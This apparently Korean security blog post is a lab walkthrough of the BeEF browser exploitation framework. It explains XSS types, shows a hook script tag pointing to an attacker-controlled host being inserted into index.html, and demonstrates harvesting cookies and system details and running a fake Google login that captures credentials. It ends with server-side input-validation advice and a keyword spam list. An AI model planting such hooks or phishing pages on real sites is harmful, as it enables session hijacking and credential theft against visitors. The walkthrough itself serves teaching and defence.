1. Beef 정의
Browser Exploit Framework의 약자로 사용자가 웹 브라우저로 웹 페이지를 읽을 때 자바 스크립트 형태로 동작하며, 사용자 PC의 정보 수직부터 메타스플로잇 모듈을 이용한 광범위한 공격까지 가능한 도구이다.
1.1. XSS 취약점
Ø 정의
ü 스크립트를 삽입하여 웹 어플리케이션에서 순수하게 제공되는 동작 외에 부정적으로 일어나는 세션
ü 공격대상이 Server가 아닌 Client 이다
Ø 피해
ü 바이러스 배포
ü 세션 하이제킹 공격
ü CSRF 공격
ü 피싱 공격
q XSS 종류
Ø Stored XSS
ü 악의적 스크립트가 서버에 저장되어 있는 방식
ü 게시판등에서 저장하여 누군가 열었을 경우 공격
Ø Reflective XSS
ü 악의적 스크립트가 사용자쪽에서 실행 (하이퍼 링크를 이용)
ü 공격문장을 노출하여 스스로 실행
ü 스크립트는 자체를 주소에 넣어 실행
ü 서버에 저장되지 않음, 스크립트 자체를 주소에 노출시켜 사용자가 직접 실행
칼리리눅스 화면 그림 2‑1. 칼리 리눅스 메뉴 위치 : Exploitation Tools -> BeEF XSS Framework -> BeEF
|
“BeEF” 화면 그림 2‑2 “BeEF”의 관리자 로그인 페이지이다. BeEF 서비스의 Username과 Password는 모두 기본적으로 BeEF로 설정되어 있다.
|
칼리리눅스 화면 그림 2‑3 Test를 위해 웹 서비스 데몬을 실행하였다.
|
칼리리눅스 화면 그림 2‑4 “BeEF”의 “hook.js”를 삽입하기위해 루트 디렉터리 “/var/www” 로 접근하였다.
|
칼리리눅스화면 그림 2‑5 “index.html” 파일에 <script src=http://192.168.183.131:3000/hook.js></script>를 삽입했다.
|
악성 페이지 화면 그림 2‑6 공격자 화면에는 “It works!” 라는 메시지밖에 보이지 않지만 실제 “hook.js” 파일을 불러와 실행하고 있다.
|
“BeEF” 화면 그림 1‑6 악성 페이지로 접속한 IP가 나타난 것을 확인 했다.
|
“BeEF” 화면 그림 2‑8 해당 IP의 브라우저 정보, 쿠키정보 OS정보 등의 정보를 확인할 수 있다. 쿠키정보들을 쿠키 재사용 공격으로 사용할 수 있는 위험성이 존재한다.
|
“BeEF” 화면 그림 2‑9 “Commands” 항목 중 “Create Alert Dialog” 를 선택한 후 메시지 내용을 입력한다.
|
악성 웹사이트 화면 그림 2‑10 스크립트가 생성된 것을 확인할 수 있다.
|
“BeEF” 화면 그림 2‑11 “Commands” 항목 중 “Google Phising”을 선택한다.
|
피싱 사이트 접속 화면 그림 2‑12 구글 로그인 화면과 동일하게 생성해 놓은 피싱사이트에서 “ID : songsong, Password : 12341234” 로 접속을 시도해 보았다. 접속결과 칼리리눅스에 로그기록이 남는것을 확인할 수 있다.
그림 2‑12 계정 로그인
|
Ø 피해
ü 페이지 변조 : 이미지나 사운드를 삽입할 수 있다.
ü 쿠키 변형 : 쿠키 자체를 변형시켜서 쿠키에 악의적인 코드를 넣어둘 수 있다.
ü 쿠키 유출 : 사용자 쿠키 값을 획득하여, 인증우회에 사용한다.
ü 개인정보 유출 : 웹 페이지 내의 패스워드나 신용 카드 번호와 같은 민감한 정보를 유출시킬 수 있다.
ü 악성 프로그램 다운로드 : 스크립트 내에 악성 프로그램을 다운로드 받는 사이트를 링크시키며, 사용자가 모르는 사이 악성프로그램이 PC에 설치된다.
Ø 보안
ü 스크립트 삽입 공격에 대한 근본적인 대응방법은 사용자로부터 입력받는 모든 값을 서버에서 검증 후 입력 받도록 하는 방식을 사용해야 한다.
ü 입력 값 검증의 방법은 사용자 입력으로 사용 가능한 문자를 정해놓고, 나머지 모든 문자를 필터링 하는 방법을 사용하여야 한다.
- 검증 대상 입력 값 : 스크립트 정의어(<script>, <object>, <applet>, <embed> 등)
어플리케이션에서 사용자들의 모든 입력값을 점검, 허용된 데이터만 입력할 수
있도록 구현해야 한다.
- 입력되는 특수문자는 Entity형태로 변경하여 저장해야 한다.
ü 검증은 반드시 서버에서 이루어지도록 개발하여야 한다.
악성코드 wep wpa crack phising mitm 맛집 해킹 hacking web 웹 네트워크 network 학원 해커 크래커 hacker cracker 강아지 dog 고양이 해운대 강남 서면 보쌈 치맥 치킨 맥주 육회 회 포렌식 침해대응 cert 관제 모의해킹 mobile 모바일 무선 wireless 디지털포렌식 Clanguage C언어 C# JSP JAVA tool 해킹방어대회 ctf 문제풀이 기타 맛집 해킹 hacking web 웹 네트워크 network 학원 해커 크래커 hacker cracker 강아지 dog 고양이 해운대 강남 서면 보쌈 치맥 치킨 맥주 육회 회 포렌식 침해대응 cert 관제 모의해킹 mobile 모바일 무선 wireless wep wpa crack phising mitm 디지털포렌식 악성코드 Clanguage C언어 C# JSP JAVA tool 해킹방어대회 ctf 문제풀이 기타
'정보보안 > Web Hacking & Security' 카테고리의 다른 글
web hacking - 모의해커와 범죄자 ( 크래커 ) 차이 (0) | 2014.09.17 |
---|---|
web hacking - 모의해킹을 왜하는것일까? (0) | 2014.09.17 |
Web Haking - 모의침투란 무엇인가? (0) | 2014.09.17 |
XSS ( CROSS SITE SCRIPTING ) (0) | 2014.09.10 |
SQL injecttion (0) | 2014.09.10 |